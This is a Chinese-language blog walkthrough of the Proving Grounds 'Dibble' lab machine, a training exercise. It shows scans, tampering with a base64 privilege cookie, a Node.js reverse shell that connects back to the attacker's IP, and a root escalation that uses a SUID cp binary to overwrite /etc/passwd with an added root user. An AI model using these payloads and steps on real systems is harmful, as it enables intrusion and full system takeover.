Proving Grounds Practice : Dibble Walkthrough

 Proving Grounds Practice : Dibble Walkthrough


Foothole (立足點 ) :

  • 3000 Port 網站可以建立使用者,後續建立 Event 時告知僅有 admin 可以建立
  • 透過 Burp Suite 修改 userLevel=admin 後成功建立 Event
  • Event Message 欄位採用 NodeJS 方式編寫,透過 PayloadsAllTheThings 參考塞入 Reverse Shell 後成功拿到 Shell

PE ( 提權 ) :

  • SUID 發現 cp 指令
  • 透過 cp 指令修改 /etc/passwd 塞入一個 root 使用者與密碼
  • 後續 su <使用者> 切換成功拿到 root

注意事項 :

  • NodeJS Reverse Shell 應用
  • SUID cp 應用


Rustscan,└─$ rustscan -a 192.168.186.110 --scripts none --ulimit 5000 | tee rustscan



snmp filtered,└─$ sudo nmap -sU -p 161 192.168.186.110 | tee snmp



nmap,└─$ sudo nmap -sCV -A -p 21,22,80,3000,27017 192.168.186.110 | tee nmap

80/tcp    open  http    Apache httpd 2.4.46 ((Fedora))

3000/tcp  open  http    Node.js (Express middleware)

27017/tcp open  mongodb MongoDB 4.2.9 4.2.9



FTP 匿名登入但無法列舉目錄與檔案




80 /



80 /robots.txt



80 /web.config



80 /admin



80 /core



80 /user/login



80 註冊一個新帳號無法寄信成功



3000 /



3000 /auth/login



3000 註冊一個新帳號 aries:Oscp#1234 成功




可以登入



寫一個 Event Log 出現沒有權限,僅有 admin 可以寫

用 Burp Suite 看一下 cookie 有個 userLevel=ZGVmYXVsdA%3D%3D

Base64 解出來是 default



將 userLevel 改成 admin 試試看



看來應該是過了,最下面那一筆就是剛剛新增的 Event Log



已知 Event Message 欄位走 Node.js,參考 : https://github.com/cyberheartmi9/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md



21 Port 有過,4444 Port 沒有過,有測試 4445 Port 也沒有過

(function(){

 var net = require(“net”),

 cp = require(“child_process”),

 sh = cp.spawn(“/bin/ba”, []);

 var client = new net.Socket();

 client.connect(21, “192.168.45.248”, function(){

 client.pipe(sh.stdin);

 sh.stdout.pipe(client);

 sh.stderr.pipe(client);

 });

 return /a/;

})();



沒有成功拿到 Reverse Shell



登出再登入一次一樣改 userLevel=admin,送出一樣的內容成功了





ls -la /home 只有一個使用者 benjamin



cat /etc/passwd



cat /etc/crontab



pspy64 沒有背景定期執行的程式




sudo -l 不知道使用者 benjamin 的密碼




find / -writable -type d 2>/dev/null | grep -v "/home/benjamin"



SUID,find / -perm -u=s -type f 2>/dev/null



發現 cp SUID,cp | GTFOBins



linpeas.sh 跑完也有看到



看 SUID 的應用不是執行該指令就可以直接 root,說明有寫是用一個檔案覆蓋另外一個檔案

最簡單的都是在 /etc/passwd 新增一個使用者

讓我先建立一個使用者 aries 然後密碼用 Ocsp#1234

首先建立 Oscp#1234 的密碼

└─$ openssl passwd Oscp#1234 --> $1$nl73rRB9$0TbF7guRfwlkDOA87sIy00



因為使用 cp,所以我們要先保留原有 /etc/passwd 的內容,在最後面加上如下即可

aries:\$1\$nl73rRB9\$0TbF7guRfwlkDOA87sIy00:0:0:/root:/bin/bash

我們建立一個 badfile 如下





上傳到靶機



覆蓋 /etc/passwd 檔案,[benjamin@dibble ~]$ /usr/bin/cp /home/benjamin/badfile /etc/passwd

再 cat /etc/passwd 看一下確認使用者 aries 有存在了



切換使用者失敗,後來將 /etc/passwd 檔案,密碼中的 "\" 拿掉才成功
這是因為在 echo 時要加上,但直接寫在 /etc/passwd 中的時候不用加,最後如下


 

切換使用者 aries ,whoami & id 看一下確認是管理者




留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)